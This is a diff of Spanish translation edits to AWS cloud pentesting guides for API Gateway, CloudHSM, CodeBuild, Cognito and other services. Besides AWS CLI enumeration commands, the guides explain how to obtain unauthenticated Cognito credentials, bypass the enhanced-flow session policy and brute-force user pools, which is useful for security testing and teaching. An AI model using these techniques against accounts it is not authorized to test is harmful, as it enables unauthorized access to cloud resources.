-10,7 +10,7 @@ Los servicios que caen bajo los servicios de contenedores tienen las siguientes - El servicio en sí se ejecuta en **instancias de infraestructura separadas**, como EC2. - **AWS** es responsable de **gestionar el sistema operativo y la plataforma**. -- Se proporciona un servicio administrado por AWS, que es típicamente el servicio en sí para la **aplicación real que se ve como contenedores**. +- Se proporciona un servicio gestionado por AWS, que es típicamente el servicio en sí para la **aplicación real que se ve como contenedores**. - Como usuario de estos servicios de contenedores, tienes una serie de responsabilidades de gestión y seguridad, incluyendo **gestionar la seguridad del acceso a la red, como las reglas de listas de control de acceso a la red y cualquier firewall**. - También, gestión de identidad y acceso a nivel de plataforma donde exista. - **Ejemplos** de servicios de contenedores de AWS incluyen Relational Database Service, Elastic Mapreduce y Elastic Beanstalk. @@ -20,7 +20,7 @@ Los servicios que caen bajo los servicios de contenedores tienen las siguientes - Estos servicios están **eliminados, abstraídos, de la plataforma o capa de gestión sobre la que se construyen las aplicaciones en la nube**. - Los servicios se acceden a través de puntos finales utilizando interfaces de programación de aplicaciones de AWS, APIs. - La **infraestructura subyacente, el sistema operativo y la plataforma son gestionados por AWS**. -- Los servicios abstractos proporcionan una plataforma de multi-inquilinos sobre la que se comparte la infraestructura subyacente. +- Los servicios abstractos proporcionan una plataforma de multi-tenencia en la que la infraestructura subyacente es compartida. - **Los datos están aislados a través de mecanismos de seguridad**. - Los servicios abstractos tienen una fuerte integración con IAM, y **ejemplos** de servicios abstractos incluyen S3, DynamoDB, Amazon Glacier y SQS. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 582792654..c7eb9b127 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -1,4 +1,4 @@ -# AWS - API Gateway Enum +# AWS - Enumeración de API Gateway {{#include ../../../banners/hacktricks-training.md}} @@ -6,23 +6,23 @@ ### Información Básica -AWS API Gateway es un servicio integral ofrecido por Amazon Web Services (AWS) diseñado para que los desarrolladores **crean, publican y supervisan APIs a gran escala**. Funciona como un punto de entrada a una aplicación, permitiendo a los desarrolladores establecer un marco de reglas y procedimientos. Este marco regula el acceso que los usuarios externos tienen a ciertos datos o funcionalidades dentro de la aplicación. +AWS API Gateway es un servicio integral ofrecido por Amazon Web Services (AWS) diseñado para que los desarrolladores **crean, publican y supervisan APIs a gran escala**. Funciona como un punto de entrada a una aplicación, permitiendo a los desarrolladores establecer un marco de reglas y procedimientos. Este marco rige el acceso que los usuarios externos tienen a ciertos datos o funcionalidades dentro de la aplicación. API Gateway te permite definir **cómo deben manejarse las solicitudes a tus APIs**, y puede crear puntos finales de API personalizados con métodos específicos (por ejemplo, GET, POST, PUT, DELETE) y recursos. También puede generar SDKs de cliente (Kits de Desarrollo de Software) para facilitar a los desarrolladores la llamada a tus APIs desde sus aplicaciones. ### Tipos de API Gateways -- **HTTP API**: Crea APIs REST de baja latencia y costo efectivo con características integradas como OIDC y OAuth2, y soporte nativo para CORS. Funciona con lo siguiente: Lambda, backends HTTP. -- **WebSocket API**: Crea una API WebSocket utilizando conexiones persistentes para casos de uso en tiempo real como aplicaciones de chat o paneles de control. Funciona con lo siguiente: Lambda, HTTP, Servicios de AWS. +- **HTTP API**: Construye APIs REST de baja latencia y costo efectivo con características integradas como OIDC y OAuth2, y soporte nativo para CORS. Funciona con lo siguiente: Lambda, backends HTTP. +- **WebSocket API**: Construye una API WebSocket utilizando conexiones persistentes para casos de uso en tiempo real como aplicaciones de chat o paneles de control. Funciona con lo siguiente: Lambda, HTTP, Servicios de AWS. - **REST API**: Desarrolla una API REST donde obtienes control total sobre la solicitud y la respuesta junto con capacidades de gestión de API. Funciona con lo siguiente: Lambda, HTTP, Servicios de AWS. - **REST API Privada**: Crea una API REST que solo es accesible desde dentro de un VPC. ### Componentes Principales de API Gateway -1. **Recursos**: En API Gateway, los recursos son los componentes que **constituyen la estructura de tu API**. Representan **los diferentes caminos o puntos finales** de tu API y corresponden a las diversas acciones que tu API admite. Un recurso es cada método (por ejemplo, GET, POST, PUT, DELETE) **dentro de cada camino** (/, o /users, o /user/{id}). +1. **Recursos**: En API Gateway, los recursos son los componentes que **constituyen la estructura de tu API**. Representan **los diferentes caminos o puntos finales** de tu API y corresponden a las diversas acciones que tu API soporta. Un recurso es cada método (por ejemplo, GET, POST, PUT, DELETE) **dentro de cada camino** (/, o /users, o /user/{id}). 2. **Etapas**: Las etapas en API Gateway representan **diferentes versiones o entornos** de tu API, como desarrollo, pruebas o producción. Puedes usar etapas para gestionar y desplegar **múltiples versiones de tu API simultáneamente**, permitiéndote probar nuevas características o correcciones de errores sin afectar el entorno de producción. Las etapas también **soportan variables de etapa**, que son pares clave-valor que se pueden usar para configurar el comportamiento de tu API según la etapa actual. Por ejemplo, podrías usar variables de etapa para dirigir las solicitudes de API a diferentes funciones Lambda u otros servicios de backend dependiendo de la etapa. - La etapa se indica al principio de la URL del punto final de API Gateway. -3. **Autorizadores**: Los autorizadores en API Gateway son responsables de **controlar el acceso a tu API** verificando la identidad del llamador antes de permitir que la solicitud continúe. Puedes usar **funciones de AWS Lambda** como autorizadores personalizados, lo que te permite implementar tu propia lógica de autenticación y autorización. Cuando llega una solicitud, API Gateway pasa el token de autorización de la solicitud al autorizador Lambda, que procesa el token y devuelve una política IAM que determina qué acciones se le permite realizar al llamador. API Gateway también admite **autorizadores integrados**, como **AWS Identity and Access Management (IAM)** y **Amazon Cognito**. +3. **Autorizadores**: Los autorizadores en API Gateway son responsables de **controlar el acceso a tu API** verificando la identidad del llamador antes de permitir que la solicitud continúe. Puedes usar **funciones de AWS Lambda** como autorizadores personalizados, lo que te permite implementar tu propia lógica de autenticación y autorización. Cuando llega una solicitud, API Gateway pasa el token de autorización de la solicitud al autorizador Lambda, que procesa el token y devuelve una política IAM que determina qué acciones se permite realizar al llamador. API Gateway también soporta **autorizadores integrados**, como **AWS Identity and Access Management (IAM)** y **Amazon Cognito**. 4. **Política de Recursos**: Una política de recursos en API Gateway es un documento JSON que **define los permisos para acceder a tu API**. Es similar a una política IAM pero específicamente adaptada para API Gateway. Puedes usar una política de recursos para controlar quién puede acceder a tu API, qué métodos pueden llamar y desde qué direcciones IP o VPCs pueden conectarse. **Las políticas de recursos se pueden usar en combinación con autorizadores** para proporcionar un control de acceso detallado para tu API. - Para que tenga efecto, la API necesita ser **desplegada nuevamente después** de que se modifique la política de recursos. @@ -155,7 +155,7 @@ Ambos métodos generarán un **Authorization** **header** como: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` -Nota que en otros casos el **Authorizer** podría haber sido **mal codificado** y simplemente enviar **cualquier cosa** dentro del **Authorization header** permitirá **ver el contenido oculto**. +Tenga en cuenta que en otros casos el **Authorizer** podría haber sido **mal codificado** y simplemente enviar **cualquier cosa** dentro del **Authorization header** permitirá **ver el contenido oculto**. ### Request Signing Using Python ```python @@ -246,7 +246,7 @@ Llámalo con algo como: Ten en cuenta que si se **genera y devuelve una política de denegación**, el error devuelto por API Gateway es: `{"Message":"User is not authorized to access this resource with an explicit deny"}` -De esta manera podrías **identificar esta autorización** en su lugar. +De esta manera podrías **identificar esta autorización** que está en su lugar. ### Clave API Requerida diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index d0a8f2a43..f7ef863e7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -26,7 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce # Account configuration aws acm get-account-configuration ``` -### PCA +### PCM ```bash # List CAs aws acm-pca list-certificate-authorities diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 6ca5282f4..077d86c9c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -1,4 +1,4 @@ -# AWS - CloudFormation & Codestar Enum +# AWS - Enumeración de CloudFormation y Codestar {{#include ../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ AWS CloudFormation es un servicio diseñado para **agilizar la gestión de recursos de AWS**. Permite a los usuarios centrarse más en sus aplicaciones que se ejecutan en AWS al **minimizar el tiempo dedicado a la gestión de recursos**. La característica principal de este servicio es la **plantilla**—un modelo descriptivo de los recursos de AWS deseados. Una vez que se proporciona esta plantilla, CloudFormation es responsable de la **provisión y configuración** de los recursos especificados. Esta automatización facilita una gestión más eficiente y libre de errores de la infraestructura de AWS. -### Enumeration +### Enumeración ```bash # Stacks aws cloudformation list-stacks diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index bda113974..a5df1c4ab 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,7 +4,7 @@ ## CloudFront -CloudFront es la **red de entrega de contenido de AWS que acelera la distribución** de tu contenido estático y dinámico a través de su red mundial de ubicaciones de borde. Cuando utilizas un contenido de solicitud que estás alojando a través de Amazon CloudFront, la solicitud se enruta a la ubicación de borde más cercana, lo que proporciona la menor latencia para ofrecer el mejor rendimiento. Cuando **los registros de acceso de CloudFront** están habilitados, puedes registrar la solicitud de cada usuario que solicita acceso a tu sitio web y distribución. Al igual que con los registros de acceso de S3, estos registros también son **almacenados en Amazon S3 para un almacenamiento duradero y persistente**. No hay cargos por habilitar el registro en sí, sin embargo, como los registros se almacenan en S3, se te cobrará por el almacenamiento utilizado por S3. +CloudFront es la **red de entrega de contenido de AWS que acelera la distribución** de tu contenido estático y dinámico a través de su red mundial de ubicaciones de borde. Cuando utilizas un contenido de solicitud que estás alojando a través de Amazon CloudFront, la solicitud se enruta a la ubicación de borde más cercana, lo que proporciona la menor latencia para ofrecer el mejor rendimiento. Cuando se habilitan los **registros de acceso de CloudFront**, puedes registrar la solicitud de cada usuario que solicita acceso a tu sitio web y distribución. Al igual que con los registros de acceso de S3, estos registros también son **almacenados en Amazon S3 para un almacenamiento duradero y persistente**. No hay cargos por habilitar el registro en sí, sin embargo, como los registros se almacenan en S3, se te cobrará por el almacenamiento utilizado por S3. Los archivos de registro capturan datos durante un período de tiempo y la cantidad de solicitudes que recibe Amazon CloudFront para esa distribución dependerá de la cantidad de archivos de registro que se generen. Es importante saber que estos archivos de registro no se crean ni se escriben en S3. S3 es simplemente donde se entregan una vez que el archivo de registro está completo. **Amazon CloudFront retiene estos registros hasta que están listos para ser entregados a S3**. Nuevamente, dependiendo del tamaño de estos archivos de registro, esta entrega puede tardar **entre una y 24 horas**. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index d09ed9c53..bd8ce55cd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -8,32 +8,32 @@ Cloud HSM es un **dispositivo de hardware** validado a nivel dos FIPS 140 para e La característica inusual de CloudHSM es que es un dispositivo físico, y por lo tanto **no se comparte con otros clientes**, o como se denomina comúnmente, multi-tenant. Es un dispositivo de un solo inquilino dedicado exclusivamente a sus cargas de trabajo. -Típicamente, un dispositivo está disponible en 15 minutos, asumiendo que hay capacidad, pero en algunas zonas podría no haberla. +Típicamente, un dispositivo está disponible en 15 minutos asumiendo que hay capacidad, pero en algunas zonas podría no haber. Dado que este es un dispositivo físico dedicado a usted, **las claves se almacenan en el dispositivo**. Las claves deben ser **replicadas a otro dispositivo**, respaldadas en almacenamiento fuera de línea, o exportadas a un dispositivo de reserva. **Este dispositivo no está respaldado** por S3 ni por ningún otro servicio en AWS como KMS. -En **CloudHSM**, debe **escalar el servicio usted mismo**. Debe aprovisionar suficientes dispositivos CloudHSM para manejar sus necesidades de cifrado basadas en los algoritmos de cifrado que ha elegido implementar para su solución.\ -El escalado del Servicio de Gestión de Claves es realizado por AWS y se escala automáticamente según la demanda, por lo que a medida que su uso crece, también podría aumentar el número de dispositivos CloudHSM que se requieren. Tenga esto en cuenta a medida que escale su solución y si su solución tiene escalado automático, asegúrese de que su escala máxima esté contemplada con suficientes dispositivos CloudHSM para atender la solución. +En **CloudHSM**, tiene que **escalar el servicio usted mismo**. Debe aprovisionar suficientes dispositivos CloudHSM para manejar lo que sean sus necesidades de cifrado basadas en los algoritmos de cifrado que ha elegido implementar para su solución.\ +La escalabilidad del Servicio de Gestión de Claves es realizada por AWS y se escala automáticamente según la demanda, por lo que a medida que su uso crece, también podría crecer el número de dispositivos CloudHSM que se requieren. Tenga esto en cuenta a medida que escale su solución y si su solución tiene escalado automático, asegúrese de que su escala máxima esté contemplada con suficientes dispositivos CloudHSM para atender la solución. Al igual que el escalado, **el rendimiento depende de usted con CloudHSM**. El rendimiento varía según el algoritmo de cifrado utilizado y con qué frecuencia necesita acceder o recuperar las claves para cifrar los datos. El rendimiento del servicio de gestión de claves es manejado por Amazon y se escala automáticamente según la demanda. El rendimiento de CloudHSM se logra agregando más dispositivos y si necesita más rendimiento, simplemente agrega dispositivos o altera el método de cifrado al algoritmo que es más rápido. Si su solución es **multi-región**, debe agregar varios **dispositivos CloudHSM en la segunda región y resolver la conectividad entre regiones con una conexión VPN privada** o algún método para garantizar que el tráfico esté siempre protegido entre el dispositivo en cada capa de la conexión. Si tiene una solución multi-región, debe pensar en cómo **replicar claves y configurar dispositivos CloudHSM adicionales en las regiones donde opera**. Puede rápidamente entrar en un escenario donde tiene seis u ocho dispositivos distribuidos en múltiples regiones, habilitando la redundancia total de sus claves de cifrado. -**CloudHSM** es un servicio de clase empresarial para el almacenamiento seguro de claves y puede ser utilizado como un **raíz de confianza para una empresa**. Puede almacenar claves privadas en PKI y claves de autoridad de certificación en implementaciones X509. Además de las claves simétricas utilizadas en algoritmos simétricos como AES, **KMS almacena y protege físicamente solo claves simétricas (no puede actuar como una autoridad de certificación)**, por lo que si necesita almacenar claves de PKI y CA, uno o dos o tres CloudHSM podrían ser su solución. +**CloudHSM** es un servicio de clase empresarial para el almacenamiento seguro de claves y puede ser utilizado como un **raíz de confianza para una empresa**. Puede almacenar claves privadas en PKI y claves de autoridad de certificación en implementaciones X509. Además de claves simétricas utilizadas en algoritmos simétricos como AES, **KMS almacena y protege físicamente solo claves simétricas (no puede actuar como una autoridad de certificación)**, por lo que si necesita almacenar claves de PKI y CA, uno o dos o tres CloudHSM podrían ser su solución. **CloudHSM es considerablemente más caro que el Servicio de Gestión de Claves**. CloudHSM es un dispositivo de hardware, por lo que tiene costos fijos para aprovisionar el dispositivo CloudHSM, luego hay un costo por hora para operar el dispositivo. El costo se multiplica por la cantidad de dispositivos CloudHSM que se requieren para cumplir con sus requisitos específicos.\ Además, se debe considerar la compra de software de terceros como las suites de software SafeNet ProtectV y el tiempo y esfuerzo de integración. El Servicio de Gestión de Claves es basado en uso y depende del número de claves que tiene y de las operaciones de entrada y salida. Dado que la gestión de claves proporciona integración sin problemas con muchos servicios de AWS, los costos de integración deberían ser significativamente más bajos. Los costos deben considerarse un factor secundario en las soluciones de cifrado. El cifrado se utiliza típicamente para seguridad y cumplimiento. -**Con CloudHSM, solo usted tiene acceso a las claves** y sin entrar en demasiados detalles, con CloudHSM usted gestiona sus propias claves. **Con KMS, usted y Amazon co-gestionan sus claves**. AWS tiene muchas salvaguardias de políticas contra el abuso y **aún no puede acceder a sus claves en ninguna de las soluciones**. La principal distinción es el cumplimiento en lo que respecta a la propiedad y gestión de claves, y con CloudHSM, este es un dispositivo de hardware que usted gestiona y mantiene con acceso exclusivo para usted y solo para usted. +**Con CloudHSM solo usted tiene acceso a las claves** y sin entrar en demasiados detalles, con CloudHSM usted gestiona sus propias claves. **Con KMS, usted y Amazon co-gestionan sus claves**. AWS tiene muchas salvaguardias de políticas contra el abuso y **aún no puede acceder a sus claves en ninguna de las soluciones**. La principal distinción es el cumplimiento en lo que respecta a la propiedad y gestión de claves, y con CloudHSM, este es un dispositivo de hardware que usted gestiona y mantiene con acceso exclusivo para usted y solo para usted. ### Sugerencias de CloudHSM 1. Siempre implemente CloudHSM en una **configuración HA** con al menos dos dispositivos en **zonas de disponibilidad separadas**, y si es posible, implemente un tercero ya sea en las instalaciones o en otra región de AWS. 2. Tenga cuidado al **inicializar** un **CloudHSM**. Esta acción **destruirá las claves**, así que tenga otra copia de las claves o esté absolutamente seguro de que no las necesita y nunca, jamás necesitará estas claves para descifrar datos. 3. CloudHSM solo **soporta ciertas versiones de firmware** y software. Antes de realizar cualquier actualización, asegúrese de que el firmware y/o software sea compatible con AWS. Siempre puede contactar al soporte de AWS para verificar si la guía de actualización no está clara. -4. La **configuración de red nunca debe ser cambiada.** Recuerde, está en un centro de datos de AWS y AWS está monitoreando el hardware base por usted. Esto significa que si el hardware falla, lo reemplazarán por usted, pero solo si saben que ha fallado. +4. La **configuración de red nunca debe ser cambiada.** Recuerde, está en un centro de datos de AWS y AWS está monitoreando el hardware base por usted. Esto significa que si el hardware falla, lo reemplazarán por usted, pero solo si saben que falló. 5. El **reenvío de SysLog no debe ser eliminado o cambiado**. Siempre puede **agregar** un reenvío de SysLog para dirigir los registros a su propia herramienta de recopilación. -6. La configuración de **SNMP** tiene las mismas restricciones básicas que la red y la carpeta de SysLog. Esto **no debe ser cambiado o eliminado**. Una configuración adicional de SNMP está bien, solo asegúrese de no cambiar la que ya está en el dispositivo. +6. La configuración de **SNMP** tiene las mismas restricciones básicas que la red y la carpeta SysLog. Esto **no debe ser cambiado o eliminado**. Una configuración de SNMP **adicional** está bien, solo asegúrese de no cambiar la que ya está en el dispositivo. 7. Otra buena práctica interesante de AWS es **no cambiar la configuración de NTP**. No está claro qué sucedería si lo hiciera, así que tenga en cuenta que si no utiliza la misma configuración de NTP para el resto de su solución, podría tener dos fuentes de tiempo. Solo esté consciente de esto y sepa que el CloudHSM debe permanecer con la fuente NTP existente. El cargo inicial por el lanzamiento de CloudHSM es de $5,000 para asignar el dispositivo de hardware dedicado para su uso, luego hay un cargo por hora asociado con la operación de CloudHSM que actualmente es de $1.88 por hora de operación, o aproximadamente $1,373 por mes. @@ -46,7 +46,7 @@ La **clave pública se instala en el dispositivo HSM durante el aprovisionamient Un módulo de seguridad de hardware (HSM) es un dispositivo criptográfico dedicado que se utiliza para generar, almacenar y gestionar claves criptográficas y proteger datos sensibles. Está diseñado para proporcionar un alto nivel de seguridad al aislar física y electrónicamente las funciones criptográficas del resto del sistema. -La forma en que funciona un HSM puede variar según el modelo y fabricante específicos, pero generalmente, ocurren los siguientes pasos: +La forma en que funciona un HSM puede variar según el modelo y fabricante específicos, pero generalmente, los siguientes pasos ocurren: 1. **Generación de claves**: El HSM genera una clave criptográfica aleatoria utilizando un generador de números aleatorios seguro. 2. **Almacenamiento de claves**: La clave se **almacena de forma segura dentro del HSM, donde solo puede ser accedida por usuarios o procesos autorizados**. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index 09b4447ac..ab9c6dc50 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -16,7 +16,7 @@ AWS CodeBuild se integra sin problemas con otros servicios de AWS, mejorando la #### **Credenciales de fuente predeterminadas** -Esta es la opción heredada donde es posible configurar algún **acceso** (como un token de Github o una aplicación) que será **compartido entre proyectos de codebuild** para que todos los proyectos puedan usar este conjunto de credenciales configurado. +Esta es la opción heredada donde es posible configurar algún **acceso** (como un token de Github o una aplicación) que será **compartido entre proyectos de codebuild** para que todos los proyectos puedan usar este conjunto de credenciales configuradas. Las credenciales almacenadas (tokens, contraseñas...) son **gestionadas por codebuild** y no hay ninguna forma pública de recuperarlas de las APIs de AWS. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index 7f4ecd4b9..641a0fb2e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -6,7 +6,7 @@ Amazon Cognito se utiliza para **autenticación, autorización y gestión de usuarios** en aplicaciones web y móviles. Permite a los usuarios la flexibilidad de iniciar sesión directamente usando un **nombre de usuario y contraseña** o indirectamente a través de un **tercero**, incluyendo Facebook, Amazon, Google o Apple. -Central a Amazon Cognito son dos componentes principales: +Central a Amazon Cognito hay dos componentes principales: 1. **User Pools**: Estos son directorios diseñados para los usuarios de tu aplicación, ofreciendo **funcionalidades de registro e inicio de sesión**. 2. **Identity Pools**: Estos grupos son fundamentales para **autorizar a los usuarios a acceder a diferentes servicios de AWS**. No están directamente involucrados en el proceso de inicio de sesión o registro, pero son cruciales para el acceso a recursos después de la autenticación. @@ -77,7 +77,7 @@ Solo **conocer el ID del Pool de Identidad** podría permitirte **obtener creden ### User Pools - Enumeración No Autenticada -Incluso si **no conoces un nombre de usuario válido** dentro de Cognito, podrías **enumerar** nombres de **usuario válidos**, **BF** las **contraseñas** o incluso **registrar un nuevo usuario** solo **conociendo el ID del cliente de la App** (que generalmente se encuentra en el código fuente). [**Consulta cómo aquí**](cognito-user-pools.md#registration)**.** +Incluso si **no conoces un nombre de usuario válido** dentro de Cognito, podrías **enumerar** nombres de **usuario válidos**, **BF** las **contraseñas** o incluso **registrar un nuevo usuario** solo **conociendo el ID del cliente de la aplicación** (que generalmente se encuentra en el código fuente). [**Consulta cómo aquí**](cognito-user-pools.md#registration)**.** ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 53b7dc029..279affd13 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,7 +4,7 @@ ## Información Básica -Los grupos de identidades desempeñan un papel crucial al permitir que sus usuarios **adquieran credenciales temporales**. Estas credenciales son esenciales para acceder a varios servicios de AWS, incluyendo, entre otros, Amazon S3 y DynamoDB. Una característica notable de los grupos de identidades es su soporte tanto para usuarios anónimos como para una variedad de proveedores de identidad para la autenticación de usuarios. Los proveedores de identidad compatibles incluyen: +Los grupos de identidades desempeñan un papel crucial al permitir que tus usuarios **adquieran credenciales temporales**. Estas credenciales son esenciales para acceder a varios servicios de AWS, incluyendo, entre otros, Amazon S3 y DynamoDB. Una característica notable de los grupos de identidades es su soporte tanto para usuarios anónimos como para una variedad de proveedores de identidad para la autenticación de usuarios. Los proveedores de identidad compatibles incluyen: - Grupos de usuarios de Amazon Cognito - Opciones de inicio de sesión social como Facebook, Google, Login with Amazon y Sign in with Apple @@ -59,7 +59,7 @@ Ejemplo de uso de cognito\_\_enum para recopilar todos los grupos de usuarios, c ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y la escalación de grupos de identidad. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y la escalación de grupos de identidades. #### Instalación ```bash @@ -78,7 +78,7 @@ Para más información, consulta https://github.com/padok-team/cognito-scanner Lo único que un atacante necesita saber para **obtener credenciales de AWS** en una aplicación de Cognito como usuario no autenticado es el **ID del Pool de Identidad**, y este **ID debe estar codificado** en la **aplicación** web/móvil para que se use. Un ID se ve así: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (no se puede forzar por fuerza bruta). > [!TIP] -> El **rol de IAM Cognito no autenticado creado a través de** se llama por defecto `Cognito_Unauth_Role` +> El **rol no autenticado de IAM Cognito creado a través de** se llama por defecto `Cognito_Unauth_Role` Si encuentras un ID de Pool de Identidad codificado y permite usuarios no autenticados, puedes obtener credenciales de AWS con: ```python @@ -112,13 +112,13 @@ aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` > [!WARNING] -> Tenga en cuenta que por defecto un usuario cognito **no autenticado NO PUEDE tener ningún permiso, incluso si se le asignó a través de una política**. Consulte la siguiente sección. +> Tenga en cuenta que, por defecto, un **usuario no autenticado de cognito NO PUEDE tener ningún permiso, incluso si se le asignó a través de una política**. Consulte la siguiente sección. ### Flujo de autenticación mejorado vs básico -La sección anterior siguió el **flujo de autenticación mejorado por defecto**. Este flujo establece una **política de sesión** [**restrictiva**](../../aws-basic-information/#session-policies) para la sesión de rol IAM generada. Esta política solo permitirá que la sesión [**utilice los servicios de esta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (incluso si el rol tenía acceso a otros servicios). +La sección anterior siguió el **flujo de autenticación mejorado por defecto**. Este flujo establece una **política de sesión** [**restrictiva**](../../aws-basic-information/#session-policies) para la sesión del rol IAM generada. Esta política solo permitirá que la sesión [**utilice los servicios de esta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (incluso si el rol tenía acceso a otros servicios). -Sin embargo, hay una manera de eludir esto, si el **grupo de identidades tiene habilitado el "Flujo Básico (Clásico)"**, el usuario podrá obtener una sesión utilizando ese flujo que **no tendrá esa política de sesión restrictiva**. +Sin embargo, hay una manera de eludir esto; si el **grupo de identidades tiene habilitado el "Flujo Básico (Clásico)"**, el usuario podrá obtener una sesión utilizando ese flujo que **no tendrá esa política de sesión restrictiva**. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -144,7 +144,7 @@ Teniendo un conjunto de credenciales de IAM, deberías verificar [qué acceso ti También podría haber **roles** disponibles para **usuarios autenticados que acceden al Identity Pool**. -Para esto, podrías necesitar tener acceso al **proveedor de identidad**. Si ese es un **Cognito User Pool**, tal vez puedas abusar del comportamiento por defecto y **crear un nuevo usuario tú mismo**. +Para esto, podrías necesitar acceso al **proveedor de identidad**. Si ese es un **Cognito User Pool**, tal vez puedas abusar del comportamiento predeterminado y **crear un nuevo usuario tú mismo**. > [!TIP] > El **rol autenticado de IAM Cognito creado a través de** se llama por defecto `Cognito_Auth_Role` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index 99500a27a..b227db4b1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -4,18 +4,18 @@ ## Información Básica -Un grupo de usuarios es un directorio de usuarios en Amazon Cognito. Con un grupo de usuarios, tus usuarios pueden **iniciar sesión en tu aplicación web o móvil** a través de Amazon Cognito, **o federarse** a través de un proveedor de identidad (IdP) **de terceros**. Ya sea que tus usuarios inicien sesión directamente o a través de un tercero, todos los miembros del grupo de usuarios tienen un perfil de directorio al que puedes acceder a través de un SDK. +Un grupo de usuarios es un directorio de usuarios en Amazon Cognito. Con un grupo de usuarios, tus usuarios pueden **iniciar sesión en tu aplicación web o móvil** a través de Amazon Cognito, **o federarse** a través de un **proveedor de identidad** de terceros (IdP). Ya sea que tus usuarios inicien sesión directamente o a través de un tercero, todos los miembros del grupo de usuarios tienen un perfil de directorio al que puedes acceder a través de un SDK. Los grupos de usuarios proporcionan: - Servicios de registro e inicio de sesión. - Una interfaz web personalizable incorporada para iniciar sesión a los usuarios. -- Inicio de sesión social con Facebook, Google, Login con Amazon y Sign in with Apple, y a través de proveedores de identidad SAML y OIDC de tu grupo de usuarios. +- Inicio de sesión social con Facebook, Google, Login with Amazon y Sign in with Apple, y a través de proveedores de identidad SAML y OIDC de tu grupo de usuarios. - Gestión del directorio de usuarios y perfiles de usuario. - Características de seguridad como autenticación multifactor (MFA), verificaciones de credenciales comprometidas, protección contra toma de control de cuentas y verificación de teléfono y correo electrónico. - Flujos de trabajo personalizados y migración de usuarios a través de desencadenadores de AWS Lambda. -El **código fuente** de las aplicaciones generalmente también contendrá el **ID del grupo de usuarios** y el **ID de la aplicación cliente**, (y a veces el **secreto de la aplicación**?) que son necesarios para que un **usuario inicie sesión** en un Grupo de Usuarios Cognito. +El **código fuente** de las aplicaciones generalmente también contendrá el **ID del grupo de usuarios** y el **ID de la aplicación cliente**, (y a veces el **secreto de la aplicación**?) que son necesarios para que un **usuario inicie sesión** en un Grupo de Usuarios de Cognito. ### Ataques Potenciales @@ -26,7 +26,7 @@ El **código fuente** de las aplicaciones generalmente también contendrá el ** ### Herramientas para pentesting - [Pacu](https://github.com/RhinoSecurityLabs/pacu), ahora incluye los módulos `cognito__enum` y `cognito__attack` que automatizan la 